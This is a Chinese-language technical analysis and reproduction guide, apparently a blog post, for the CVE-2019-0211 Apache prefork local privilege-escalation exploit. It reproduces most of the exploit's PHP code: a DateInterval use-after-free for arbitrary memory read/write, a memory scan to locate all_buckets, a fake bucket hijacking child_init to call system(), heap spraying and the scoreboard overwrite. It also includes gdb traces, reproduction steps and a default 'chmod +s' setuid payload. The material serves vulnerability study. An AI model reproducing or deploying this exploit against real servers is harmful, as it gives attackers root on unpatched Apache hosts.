// httpd-2.4.38/server/mpm/prefork/prefork.c
// 调用栈：
// prefork_run -> make_child -> child_main -> apr_proc_mutex_child_init -> child_init(&my_bucket->mutex, pool, fname);
typedef struct prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex;
} prefork_child_bucket;
static prefork_child_bucket *all_buckets, /* All listeners buckets */
*my_bucket; /* Current child bucket */
static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s)
{
...
apr_proc_t pid;
ap_wait_or_timeout(&exitwhy, &status, &pid, pconf, ap_server_conf);
...
child_slot = ap_find_child_by_pid(&pid);
...
make_child(ap_server_conf, child_slot, ap_get_scoreboard_process(child_slot)->bucket);
...
}
static int make_child(server_rec *s, int slot, int bucket)
{
...
my_bucket = &all_buckets[bucket];
...
child_main(slot, bucket);
...
}
static void child_main(int child_num_arg, int child_bucket)
{
...
status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
apr_proc_mutex_lockfile(my_bucket->mutex),
pchild));
...
}
// apr/locks/unix/proc_mutex.c
// https://github.com/apache/apr/blob/trunk/locks/unix/proc_mutex.c#L1560
APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex,
const char *fname,
apr_pool_t *pool)
{
return (*mutex)->meth->child_init(mutex, pool, fname);
}
## 3\. PoC原理
这里只是简单说一下PHP UAF的PoC
$ cat uaf.php
<?php
function o($msg)
{
print($msg);
print("n");
}
function ptr2str($ptr, $m=8)
{
$out = "";
for ($i=0; $i<$m; $i++)
{
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
class Z implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $addresses, $workers_pids;
$_protector = ptr2str(0, 78);
$this->abc = ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->y = 0x00;
# zend_string.len
$x->d = 0x100;
# zend_string.val[0-4]
$x->h = 0x13121110;
# Verify UAF was successful
# We modified stuff via $x; they should be visible by $this->abc, since
# they are at the same memory location.
if(!(
strlen($this->abc) === $x->d &&
$this->abc[0] == "x10" &&
$this->abc[1] == "x11" &&
$this->abc[2] == "x12" &&
$this->abc[3] == "x13"
))
{
o('UAF failed, exiting.');
exit();
}
o('UAF successful.');
o('');
}
}
function test_uaf()
{
global $y;
$y = [new Z()];
json_encode([0 => &$y]);
}
test_uaf();
?>
$ php -v
PHP 7.2.13 (cli) (built: Apr 28 2020 20:54:07) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
$ php uaf.php
UAF successful.
通过DateInterval对象$x操纵已经释放的zend_string对象$this->abc，然后通过$x控制$this->abc的长度(php内部结构体zend_string的len字段，在php代码中是不可修改的)。
需要注意一点：$this->abc是创建的当前对象的成员变量，内存空间会随着当前对象的释放一起释放，但是`$_protector`这样的函数局部变量不会。
DateInterval内部实现包含一个timelib_rel_time结构体，它的大小跟创建的zend_string属于同一个fastbin(0x70)
#include <stdio.h>
typedef signed long long timelib_sll;
typedef struct _timelib_rel_time {
timelib_sll y, m, d; /* Years, Months and Days */
timelib_sll h, i, s; /* Hours, mInutes and Seconds */
timelib_sll us; /* Microseconds */
int weekday;
int weekday_behavior;
int first_last_day_of;
int invert;
timelib_sll days;
struct {
unsigned int type;
timelib_sll amount;
} special;
unsigned int have_weekday_relative, have_special_relative;
} timelib_rel_time;
int main(){
printf("%lun", sizeof(timelib_rel_time));
}
$ ./a.out
104
这部分内容由于没有弄好PHP内核调试环境，还有待补充和校验，欢迎大佬们给出些建议。
## 4\. EXP原理
### 漏洞利用思路
通过worker进程在SHM中构造prefork_child_bucket结构体，使prefork_child_bucket.mutex->meth的child_init函数指针指向zend_object_std_dtor函数；
typedef struct prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex;
} prefork_child_bucket;
struct apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth;
...
}
struct apr_proc_mutex_unix_lock_methods_t {
unsigned int flags;
apr_status_t (*create)(apr_proc_mutex_t *, const char *);
apr_status_t (*acquire)(apr_proc_mutex_t *);
apr_status_t (*tryacquire)(apr_proc_mutex_t *);
apr_status_t (*release)(apr_proc_mutex_t *);
apr_status_t (*cleanup)(void *);
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <-- apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
apr_lockmech_e mech;
const char *name;
}
将child_init的第一个参数(&my_bucket->mutex)修改为zend_object_std_dtor的参数(`zend_object
*object`)，并借助zend_object_std_dtor执行system函数；
typedef struct _zend_object zend_object;
struct _zend_object {
zend_refcounted_h gc; // 8字节
uint32_t handle;
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};
typedef struct _zend_array HashTable;
struct _zend_array {
zend_refcounted_h gc; // 8字节
union { // 4字节
struct {
...
} v;
uint32_t flags;
} u;
uint32_t nTableMask;
Bucket *arData;
uint32_t nNumUsed;
uint32_t nNumOfElements;
uint32_t nTableSize;
uint32_t nInternalPointer;
zend_long nNextFreeElement;
dtor_func_t pDestructor;
};
typedef struct _Bucket {
zval val;
zend_ulong h; /* hash value (or numeric index) */
zend_string *key; /* string key or NULL for numerics */
} Bucket;
修改worker进程的process_score->bucket（ => index） 使Apache主进程的 all_buckets[index]
指向我们构造的 prefork_child_bucket结构体；
进而将正常执行流程:
prefork_run -> make_child -> child_main -> apr_proc_mutex_child_init -> child_init(&my_bucket->mutex, pool, fname);
替换为：
prefork_run -> make_child -> child_main -> apr_proc_mutex_child_init -> zend_object_std_dtor(&my_bucket->mutex) -> system("system cmd")
劫持后的代码流程：
ZEND_API void zend_object_std_dtor(zend_object *object)
{
...
zend_array_destroy(object->properties);
...
}
ZEND_API void ZEND_FASTCALL zend_array_destroy(HashTable *ht)
{
...
zend_hash_destroy(ht);
...
}
ZEND_API void ZEND_FASTCALL zend_hash_destroy(HashTable *ht)
{
Bucket *p, *end;
...
p = ht->arData;
...
ht->pDestructor(&p->val);
...
}
ZEND_API void zend_object_std_dtor(zend_object *object)
-> zend_array_destroy(object->properties);
-> zend_hash_destroy(object->properties);
-> system(&object->properties->arData->val)
(char *)&object->properties->arData->val 等同于 (char *)arData
### 具体实现
[EXP源码](https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/cfreal-carpediem.php)
#### 概述
* get_all_addresses 函数获取漏洞利用需要的内存地址
* get_workers_pids 函数获取当前系统的所以worker进程的pid
* class Z实现了JsonSerializable接口的jsonSerialize函数
* real函数通过创建class Z 对象$y并调用json_encode执行class Z的jsonSerialize函数
<?php
function real()
{
global $y;
$y = [new Z()];
json_encode([0 => &$y]);
}
class Z implements JsonSerializable
{
public function jsonSerialize()
{
...
}
...
}
function get_all_addresses()
{
...
}
function get_workers_pids()
{
...
}
$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();
#### 工具函数说明
##### str2ptr
可以简单理解为读取一个指针$str偏移$p处的8个字节的ulong
<?php
function o($msg)
{
# No concatenation -> no string allocation
print($msg);
print("n");
}
function str2ptr(&$str, $p, $s=8)
{
$address = 0;
for($j=$s-1;$j>=0;$j--)
{
$address <<= 8;
o('0x'.dechex(ord($str[$p+$j])));
$address |= ord($str[$p+$j]);
}
return $address;
}
$abc = "12345678";
$addr = str2ptr($abc, 0);
o('0x'.dechex($addr));
?>
/*
0x38
0x37
0x36
0x35
0x34
0x33
0x32
0x31
0x3837363534333231
>>> ord('8')
56
>>> hex(56)
'0x38'
*/
<?php
...
$addr = str2ptr($abc, 2);
o('0x'.dechex($addr));
?>
/*
0x0
0x0
0x38
0x37
0x36
0x35
0x34
0x33
0x383736353433
*/
##### ptr2str
主要用于创建一个$m字节的zend_string(zend_string.len = $m)
<?php
function ptr2str($ptr, $m=8)
{
$out = "";
for ($i=0; $i<$m; $i++)
{
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
$_protector = ptr2str(0, 78);
print($_protector . " " . strlen($_protector) . "n");
echo ptr2str(0x616263);
?>
/*
78
cba
*/
##### find_symbol
根据动态库文件中库函数的偏移，计算当前进程内存空间中对应库函数的内存地址
##### get_all_addresses
获取了下面这些地址：
1.大小在0x10000 ～ 0x16000 之间的worker进程shm地址范围，保存到$addresses[‘shm’]
原理：
# cat /proc/44875/maps |grep '/dev/zero'
7fefaaed9000-7fefb2ed9000 rw-s 00000000 00:01 385061 /dev/zero (deleted)
7fefc1116000-7fefc112a000 rw-s 00000000 00:01 235954 /dev/zero (deleted)
$addresses['shm'] -> [7fefc1116000, 7fefc112a000]
作用：
* worker进程的process_score(ap_scoreboard_image.parent[i])存放的位置
* 堆喷射的内存区域(SHM 的空闲区域)
2.`libc-*.so`的加载地址，计算根据偏移system函数地址，保存到`$addresses['system']`
原理：
同样通过/proc/pid/maps获取`libc-*.so`的绝对路径，然后从.so文件中定位system函数的偏移，进而计算它在内存中的地址
作用: 最后任意函数调用的目标函数
3.获取libapr-1.so的可执行区域和只读区域的内存加载地址范围，保存到`$addresses['libaprX']`和`$addresses['libaprR']`
原理：同样，通过/proc/pid/maps匹配字符串获取
# cat /proc/44875/maps |grep libapr-1.so | grep r-xp
7fefc096a000-7fefc099d000 r-xp 00000000 08:01 2113254 /usr/lib/x86_64-linux-gnu/libapr-1.so.0.6.3
# cat /proc/44875/maps |grep libapr-1.so | grep r--p
7fefc0b9d000-7fefc0b9e000 r--p 00033000 08:01 2113254 /usr/lib/x86_64-linux-gnu/libapr-1.so.0.6.3
作用：用于定位all_buckets
4.获取Apache进程的内存区域 $addresses[‘apache’]
# cat /proc/44875/maps |grep rw-p |grep -v /lib
# cat /proc/44875/maps |grep rwxp |grep -v /lib
作用：用于定位all_buckets
5.获取`libphp*.so`加载地址和路径，通过zend_object_std_dtor的偏移计算其加载地址，保存到$addresses[‘zend_object_std_dtor’]
作用：作为任意函数执行的跳板函数
完整的地址获取结果：
PID: 44874
Fetching addresses
zend_object_std_dtor: 0x7fefbd49c120
system: 0x7fefc03a9440
libaprX: 0x7fefc096a000-0x7fefc099d000
libaprR: 0x7fefc0b9d000-0x7fefc0b9e000
shm: 0x7fefc1116000-0x7fefc112a000
apache: 0x7fefc1168000-0x7fefc1263000
##### get_workers_pids
获取当前用户权限的所有worker的PID
#### 核心函数说明
real通过class Z的jsonSerialize函数完成漏洞利用的核心逻辑
1.通过PHP UAF获取对worker进程内存的读写能力
class Z implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $addresses, $workers_pids;
$contiguous = [];
for($i=0;$i<10;$i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i=0;$i<10;$i++)
$room[] = new Z();
$_protector = ptr2str(0, 78);
$this->abc = ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->y = 0x00;
# zend_string.len
$x->d = 0x100;
# zend_string.val[0-4]
$x->h = 0x13121110;
if(!(
strlen($this->abc) === $x->d &&
$this->abc[0] == "x10" &&
$this->abc[1] == "x11" &&
$this->abc[2] == "x12" &&
$this->abc[3] == "x13"
))
{
o('UAF failed, exiting.');
exit();
}
o('UAF successful.');
o('');
unset($room);
$address = str2ptr($this->abc, 0x70 * 2 - 24);
$address = $address - 0x70 * 3;
$address = $address + 24;
$distance =
max($addresses['apache'][1], $addresses['shm'][1]) - $address
;
$x->d = $distance;
...
}
unset释放内存之前的堆内存布局：
这一步完成之后，后面就下面的方式访问任意内存了:
写入一个字节到$mem_addr:
$this->abc[$mem_addr - $address] = 'x';
从$mem_addr读取一个地址：
str2ptr($this->abc, $mem_addr - $address);
2.通过特征定位all_buckets结构体
原理：all_buckets是worker进程的静态变量，所以遍历worker进程内存区域的每个8字节地址，根据all_buckets的结构，匹配指针所在区域，来定位all_buckets结构体。具体做了哪些匹配见下面代码和注释。
class Z implements JsonSerializable
{
public function jsonSerialize()
{
...
# mutex在all_buckets结构体中的偏移是0x10
# |all_buckets, mutex| = 0x10
# meth在mutex结构体中的偏移是0x08
# |mutex, meth| = 0x8
# all_buckets is in apache's memory region
# mutex is in apache's memory region
# meth is in libaprR's memory region
# meth's function pointers are in libaprX's memory region
o('Looking for all_buckets in memory');
$all_buckets = 0;
for(
$i = $addresses['apache'][0] + 0x10;
$i < $addresses['apache'][1] - 0x08;
$i += 8
)
{
# mutex
# 判断当前获取的地址，即all_buckets->mutex是否在apache内存区域
$mutex = $pointer = str2ptr($this->abc, $i - $address);
if(!in($pointer, $addresses['apache']))
continue;
# meth
# 判断all_buckets->mutex->meth是否在libaprR内存区域
$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
if(!in($pointer, $addresses['libaprR']))
continue;
...
# meth->*
# flags
# 判断all_buckets->mutex->meth->flags是否为0
if(str2ptr($this->abc, $pointer - $address) != 0)
continue;
# methods
# 判断all_buckets->mutex->meth->*的各个函数指针是否在libaprX区域
for($j=0;$j<7;$j++)
{
$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
if(!in($m, $addresses['libaprX']))
continue 2;
o(' [*]: 0x' . dechex($m));
}
# $i的地址是all_buckets->mutext的地址，所以all_buckets地址是$i-0x10
$all_buckets = $i - 0x10;
o('all_buckets = 0x' . dechex($all_buckets));
break;
}
...
}
}
httpd-2.4.38/server/mpm/prefork/prefork.c
typedef struct prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex;
} prefork_child_bucket;
static prefork_child_bucket *all_buckets, /* All listeners buckets */
*my_bucket; /* Current child bucket */
apr/include/arch/unix/apr_arch_proc_mutex.h
struct apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth;
...
}
struct apr_proc_mutex_unix_lock_methods_t {
unsigned int flags;
apr_status_t (*create)(apr_proc_mutex_t *, const char *);
apr_status_t (*acquire)(apr_proc_mutex_t *);
apr_status_t (*tryacquire)(apr_proc_mutex_t *);
apr_status_t (*timedacquire)(apr_proc_mutex_t *, apr_interval_time_t);
apr_status_t (*release)(apr_proc_mutex_t *);
apr_status_t (*cleanup)(void *);
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);
apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
apr_lockmech_e mech;
const char *name;
};
可以通过这个脚本来测试：
链接:<https://pan.baidu.com/s/1sr6k0S2X5XlFdPY7HOVRRw> 密码:2e67
运行：
$ curl localhost/find_all_bkts.php
PID: 29123
Fetching addresses
zend_object_std_dtor: 0x7fe7f1cbafb0
system: 0x7fe7f4ba7440
libaprX: 0x7fe7f5168000-0x0x7fe7f519b000
libaprR: 0x7fe7f539b000-0x0x7fe7f539c000
shm: 0x7fe7f5939000-0x0x7fe7f594d000
apache: 0x7fe7f597e000-0x0x7fe7f5a61000
Triggering UAF
Creating room and filling empty spaces
Allocating $abc and $p
Unsetting both variables and setting $protector
Creating DateInterval object
UAF successful.
Address of $abc: 0x7fe7ed0904e8
Looking for all_buckets in memory
[&mutex]: 0x7fe7f59fc1e0
[mutex]: 0x7fe7f59fc330
[meth]: 0x7fe7f539bb60
[*]: 0x7fe7f51830d0
[*]: 0x7fe7f5183070
[*]: 0x7fe7f5183010
[*]: 0x7fe7f5182fb0
[*]: 0x7fe7f5182b30
[*]: 0x7fe7f5182810
[*]: 0x7fe7f5182f40
all_buckets = 0x7fe7f59fc1d0
root# gdb attach 29123
gdb-peda$ p all_buckets
$1 = (prefork_child_bucket *) 0x7fe7f59fc1d0
3.构造和部署payload
先看看payload部署后的效果
$ curl localhost/carpediem.php
...
PID: 29260
...
Placing payload at address 0x7fe7f593c908
...
Spraying pointer
Address: 0x7fe7f593c9d8
From: 0x7fe7f593ca10
To: 0x7fe7f594d000
Size: 0x105f0
Covered: 0x105f0
Apache: 0xe3000
...
root# gdb attach 29260
# zend_object.properties->arData
# | zend_object.properties, arData | = 0x10
$ x /19xg 0x7fe7f593c908
0x7fe7f593c908: 0x732b20646f6d6863 0x69622f7273752f20
0x7fe7f593c918: 0x6e6f687479702f6e 0x0000000000362e33
0x7fe7f593c928: 0x0000000000000000 0x0000000000000000
0x7fe7f593c938: 0x0000000000000000 0x0000000000000000
0x7fe7f593c948: 0x0000000000000000 0x0000000000000000
0x7fe7f593c958: 0x0000000000000000 0x0000000000000000
0x7fe7f593c968: 0x0000000000000000 0x0000000000000000
0x7fe7f593c978: 0x0000000000000000 0x0000000000000000
0x7fe7f593c988: 0x0000000000000000 0x0000000000000000
0x7fe7f593c998: 0x0000000000000000
$ x /1bs 0x7fe7f593c908
0x7fe7f593c908: "chmod +s /usr/bin/python3.6"
# prefork_child_bucket.mutext->meth
gdb-peda$ x /7xg 0x7fe7f593c908+152
0x7fe7f593c9a0: 0x0000000000000000 0x0000000000000000
0x7fe7f593c9b0: 0x0000000000000000 0x0000000000000000
0x7fe7f593c9c0: 0x0000000000000000 0x0000000000000000
0x7fe7f593c9d0: 0x00007fe7f1cbafb0
gdb-peda$ p zend_object_std_dtor
$1 = {<text variable, no debug info>} 0x7fe7f1cbafb0 <zend_object_std_dtor>
# zend_object.properties
gdb-peda$ x /7xg (0x7fe7f593c908+152+8*7)
0x7fe7f593c9d8: 0x0000000000000001 0x00007fe7f593c9a0
0x7fe7f593c9e8: 0x00007fe7f593c908 0x0000000000000001
0x7fe7f593c9f8: 0x0000000000000000 0x0000000000000000
0x7fe7f593ca08: 0x00007fe7f4ba7440
gdb-peda$ p system
$2 = {int (const char *)} 0x7fe7f4ba7440 <__libc_system>
# sprayed area
gdb-peda$ x /10xg 0x7fe7f593ca10
0x7fe7f593ca10: 0x00007fe7f593c9d8 0x00007fe7f593c9d8
0x7fe7f593ca20: 0x00007fe7f593c9d8 0x00007fe7f593c9d8
0x7fe7f593ca30: 0x00007fe7f593c9d8 0x00007fe7f593c9d8
0x7fe7f593ca40: 0x00007fe7f593c9d8 0x00007fe7f593c9d8
0x7fe7f593ca50: 0x00007fe7f593c9d8 0x00007fe7f593c9d8
gdb-peda$ x /10xg 0x7fe7f594d000-10*8
0x7fe7f594cfb0: 0x00007fe7f593c9d8 0x00007fe7f593c9d8
0x7fe7f594cfc0: 0x00007fe7f593c9d8 0x00007fe7f593c9d8
0x7fe7f594cfd0: 0x00007fe7f593c9d8 0x00007fe7f593c9d8
0x7fe7f594cfe0: 0x00007fe7f593c9d8 0x00007fe7f593c9d8
0x7fe7f594cff0: 0x00007fe7f593c9d8 0x00007fe7f593c9d8
payload构造代码
可以对照上一节的调试信息来看
# 一个全0的八字节占位符，用于占据结构体指针字段的位置
$z = ptr2str(0);
...
# 构造payload的152字节，是具体要执行的命令
$bucket = isset($_REQUEST['cmd']) ?
$_REQUEST['cmd'] :
"chmod +s /usr/bin/python3.5";
...
$bucket = str_pad($bucket, $size_worker_score - 112, "x00");
# 构造 apr_proc_mutex_unix_lock_methods_t
# 即prefork_child_bucket.mutex->meth
# 把meth->child_init函数修改为了zend_object_std_dtor
$meth =
$z .
$z .
$z .
$z .
$z .
$z .
# child_init
ptr2str($addresses['zend_object_std_dtor'])
;
# 这个是作者很巧妙的一个设计，
# 由于可以喷射内存区域并不大，所以作者没有喷射完整的结构体，
# 而是喷射了properties的地址，
# 并让prefork_child_bucket.mutex
# 指向的结构体(apr_proc_mutex_t)
# 和zend_object.properties指向的结构体(HashTable)
# 共享properties这块内存。
# 最后的效果见下文。
$properties =
# refcount
ptr2str(1) .
# u-nTableMask meth
ptr2str($payload_start + strlen($bucket)) .
# Bucket arData
ptr2str($payload_start) .
# uint32_t nNumUsed;
ptr2str(1, 4) .
# uint32_t nNumOfElements;
ptr2str(0, 4) .
# uint32_t nTableSize
ptr2str(0, 4) .
# uint32_t nInternalPointer
ptr2str(0, 4) .
# zend_long nNextFreeElement
$z .
# dtor_func_t pDestructor
ptr2str($addresses['system'])
;
$payload =
$bucket .
$meth .
$properties
;
相关结构体和函数参考(可跳过)：
php-7.2.13/Zend/zend_types.h
zend_object
typedef struct _zend_object zend_object;
struct _zend_object {
zend_refcounted_h gc; // 8字节
uint32_t handle;
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};
zend_object.properties
typedef struct _zend_array HashTable;
struct _zend_array {
zend_refcounted_h gc; // 8字节
union {
struct {
ZEND_ENDIAN_LOHI_4(
zend_uchar flags,
zend_uchar nApplyCount,
zend_uchar nIteratorsCount,
zend_uchar consistency)
} v;
uint32_t flags;
} u;
uint32_t nTableMask;
Bucket *arData;
uint32_t nNumUsed;
uint32_t nNumOfElements;
uint32_t nTableSize;
uint32_t nInternalPointer;
zend_long nNextFreeElement;
dtor_func_t pDestructor;
};
typedef struct _Bucket {
zval val;
zend_ulong h;
zend_string *key;
} Bucket;
typedef struct _zval_struct zval;
struct _zval_struct {
zend_value value; /* value */
union {
struct {
ZEND_ENDIAN_LOHI_4(
zend_uchar type, /* active type */
zend_uchar type_flags,
zend_uchar const_flags,
zend_uchar reserved) /* call info for EX(This) */
} v;
uint32_t type_info;
} u1;
union {
uint32_t next; /* hash collision chain */
uint32_t cache_slot; /* literal cache slot */
uint32_t lineno; /* line number (for ast nodes) */
uint32_t num_args; /* arguments number for EX(This) */
uint32_t fe_pos; /* foreach position */
uint32_t fe_iter_idx; /* foreach iterator index */
uint32_t access_flags; /* class constant access flags */
uint32_t property_guard; /* single property guard */
uint32_t extra; /* not further specified */
} u2;
};
prefork_child_bucket.mutex->meth
struct apr_proc_mutex_unix_lock_methods_t {
unsigned int flags;
apr_status_t (*create)(apr_proc_mutex_t *, const char *);
apr_status_t (*acquire)(apr_proc_mutex_t *);
apr_status_t (*tryacquire)(apr_proc_mutex_t *);
apr_status_t (*timedacquire)(apr_proc_mutex_t *, apr_interval_time_t);
apr_status_t (*release)(apr_proc_mutex_t *);
apr_status_t (*cleanup)(void *);
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *);
apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
apr_lockmech_e mech;
const char *name;
}
struct apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth; <-- int curr_locked;
char *fname;
...
}
计算payload放置地址、堆喷射地址
大概意思就是算出SHM中可以利用的空闲内存区域，获取中间地址，然后计算中间地址和all_buckets起始地址的偏移，然后除以单个prefork_child_bucket结构体的大小24(all_buckets是prefork_child_bucket数组的首地址)，得到要修改的index值(ap_scoreboard_image.parent[i]->bucket)
$size_prefork_child_bucket = 24;
$size_worker_score = 264;
$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
$spray_max = $addresses['shm'][1];
$spray_min = $spray_max - $spray_size;
$spray_middle = (int) (($spray_min + $spray_max) / 2);
$bucket_index_middle = (int) (
- ($all_buckets - $spray_middle) /
$size_prefork_child_bucket
);
$payload_start = $spray_min - $size_worker_score;
将payload写入worker进程SHM空闲区域
o('Placing payload at address 0x' . dechex($payload_start));
$p = $payload_start - $address;
for(
$i = 0;
$i < strlen($payload);
$i++
)
{
$this->abc[$p+$i] = $payload[$i];
}
堆喷射payload中properties的地址
for(
$i = $spray_min;
$i < $spray_max;
$i++
)
{
// $address是$this->abc在内存中的地址
$this->abc[$i - $address] = $s_properties_address[$i % 8];
}
o('');
修改每个worker进程的bucket(ap_scoreboard_image->parent[i]->bucket)
ap_scoreboard_image->parent数组位于SHM 0x20偏移处
$ sudo cat /proc/26053/maps|grep rw-s
7f5dbef6a000-7f5dbef7e000 rw-s 00000000 00:01 220623 /dev/zero (deleted)
(gdb) p &ap_scoreboard_image->parent[0]
$4 = (process_score *) 0x7f5dbef6a020
(gdb) p ap_scoreboard_image->parent[0]
$3 = {pid = 26053, generation = 0, quiescing = 0 '00', not_accepting = 0 '00', connections = 0, write_completion = 0,
lingering_close = 0, keep_alive = 0, suspended = 0, bucket = -27764}
# Iterate over every process_score structure until we find every PID or
# we reach the end of the SHM
for(
$p = $addresses['shm'][0] + 0x20;
$p < $addresses['shm'][1] && count($workers_pids) > 0;
$p += 0x24
)
{
$l = $p - $address;
$current_pid = str2ptr($this->abc, $l, 4);
o('Got PID: ' . $current_pid);
# The PID matches one of the workers
if(in_array($current_pid, $workers_pids))
{
unset($workers_pids[$current_pid]);
o(' PID matches');
# Update bucket address
$s_bucket_index = pack('l', $bucket_index);
$this->abc[$l + 0x20] = $s_bucket_index[0];
$this->abc[$l + 0x21] = $s_bucket_index[1];
$this->abc[$l + 0x22] = $s_bucket_index[2];
$this->abc[$l + 0x23] = $s_bucket_index[3];
o(' Changed bucket value to ' . $bucket_index);
$min = $spray_min - $size_prefork_child_bucket * $bucket_index;
$max = $spray_max - $size_prefork_child_bucket * $bucket_index;
o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
# This bucket range is covered, go to the next one
$bucket_index += $spray_nb_buckets;
}
}
4.等待Apache graceful restart
效果演示：
root# ps -aux|grep apache
root 30073 ... /usr/sbin/apache2 -k start
www-data 30074 ... /usr/sbin/apache2 -k start
$ curl localhost/carpediem.php
CARPE (DIEM) ~ CVE-2019-0211
PID: 30074
Fetching addresses
zend_object_std_dtor: 0x7f2843e64fb0
system: 0x7f2846d51440
libaprX: 0x7f2847312000-0x0x7f2847345000
libaprR: 0x7f2847545000-0x0x7f2847546000
shm: 0x7f2847ae3000-0x0x7f2847af7000
apache: 0x7f2847af7000-0x0x7f2847c0b000
Obtaining apache workers PIDs
Found apache worker: 30074
Got 1 PIDs.
Triggering UAF
Creating room and filling empty spaces
Allocating $abc and $p
Unsetting both variables and setting $protector
Creating DateInterval object
UAF successful.
Address of $abc: 0x7f283f29a4e8
Looking for all_buckets in memory
[&mutex]: 0x7f2847b501e0
[mutex]: 0x7f2847b50330
[meth]: 0x7f2847545b60
[*]: 0x7f284732d0d0
[*]: 0x7f284732d070
[*]: 0x7f284732d010
[*]: 0x7f284732cfb0
[*]: 0x7f284732cb30
[*]: 0x7f284732c810
[*]: 0x7f284732cf40
all_buckets = 0x7f2847b501d0
Computing potential bucket indexes and addresses
Placing payload at address 0x7f2847ae6908
Spraying pointer
Address: 0x7f2847ae69d8
From: 0x7f2847ae6a10
To: 0x7f2847af7000
Size: 0x105f0
Covered: 0x105f0
Apache: 0x114000
Iterating in SHM to find PIDs...
Got PID: 30074
PID matches
Changed bucket value to -18002
Ranges: 0x7f2847b501c0 - 0x7f2847b607b0
EXPLOIT SUCCESSFUL.
Await 6:25AM.
root# gdb attach 30073
gdb-peda$ p all_buckets
$1 = (prefork_child_bucket *) 0x7f2847b501d0
# 这里看的exp找的的all_bucket地址是没有问题的
gdb-peda$ p ap_scoreboard_image->parent[0]
$2 = {
pid = 0x757a,
generation = 0x0,
quiescing = 0x0,
not_accepting = 0x0,
connections = 0x0,
write_completion = 0x0,
lingering_close = 0x0,
keep_alive = 0x0,
suspended = 0x0,
bucket = 0xffffb9ae
}
# pid 0x757a=30074 也是执行exp的worker进程pid
# bucket 也已经成功修改为-18002
gdb-peda$ p $index = ap_scoreboard_image->parent[0]->bucket
$3 = 0xffffb9ae
gdb-peda$ p all_buckets[$index]
$4 = {
pod = 0x7f2847ae69d8,
listeners = 0x7f2847ae69d8,
mutex = 0x7f2847ae69d8
}
# 这里看到一旦all_bucket[$index]命中堆喷射的区域，就会读取伪造的prefork_child_bucket，它的三个指针都会被设置为properties的地址
gdb-peda$ detach
引用一张图，很好的描述了利用成功时的内存布局：
#### 其他说明
1.漏洞利用的关键点
SHM内存区域位于php内存下方(高地址)，才能通过PHP代码读写SHM内存
all_buckets位于php内存下方，才能通过PHP代码找的all_buckets地址
apache greaceful 重启后，all_buckets的地址会产生偏移
2.all_buckets地址在apache greaceful restart后会改变，作者的环境只有几个字节的偏差，但是我的测试环境偏移很大：
# 几次apache graceful restart前后的偏移情况
>>> hex(0x7f02d6bd11d0 - 0x7f02d6bb71d0)
'0x1a000'
>>> hex(0x7fbaf3eff1d0 - 0x7fbaf3ee51d0)
'0x1a000'
>>> hex(0x7f81814a31d0 - 0x7f81814891d0)
'0x1a000'
>>>
如果要成功利用需要修改exp：
$bucket_index_middle = (int) (
- ($all_buckets + 0x1a000 - $spray_middle) /
$size_prefork_child_bucket
);
另外，测偏移的方法：
# shell 1
$ ps -aux|grep apache
root 25990 0.0 1.8 320264 36456 ? Ss 20:48 0:00 /usr/sbin/apache2 -k start
...
$ sudo gdb attach 25990
p all_buckets
b make_child
c
#shell 2
sudo apachectl graceful
# shell 1
c
p all_buckets
3.作者exp中UAF的这两句话在我的环境没有效果，复现exp中删掉了
if(version_compare(PHP_VERSION, '7.2') >= 0)
$room[] = "!$_protector";
4.测试环境是Ubuntu18 ，自带的python3.6，默认的cmd改了一下
$bucket = isset($_REQUEST['cmd']) ?
$_REQUEST['cmd'] :
"chmod +s /usr/bin/python3.6";
#### 复现
Step1 – 下载exp，拷贝到web目录
$ cp exp.php /var/www/html/
Step2 – 执行exp
$ curl localhost/exp.php
CARPE (DIEM) ~ CVE-2019-0211
PID: 27115
Fetching addresses
zend_object_std_dtor: 0x7f2ff4939fb0
system: 0x7f2ff7826440
libaprX: 0x7f2ff7de7000-0x0x7f2ff7e1a000
libaprR: 0x7f2ff801a000-0x0x7f2ff801b000
shm: 0x7f2ff85b8000-0x0x7f2ff85cc000
apache: 0x7f2ff85fd000-0x0x7f2ff86e0000
Obtaining apache workers PIDs
Found apache worker: 27113
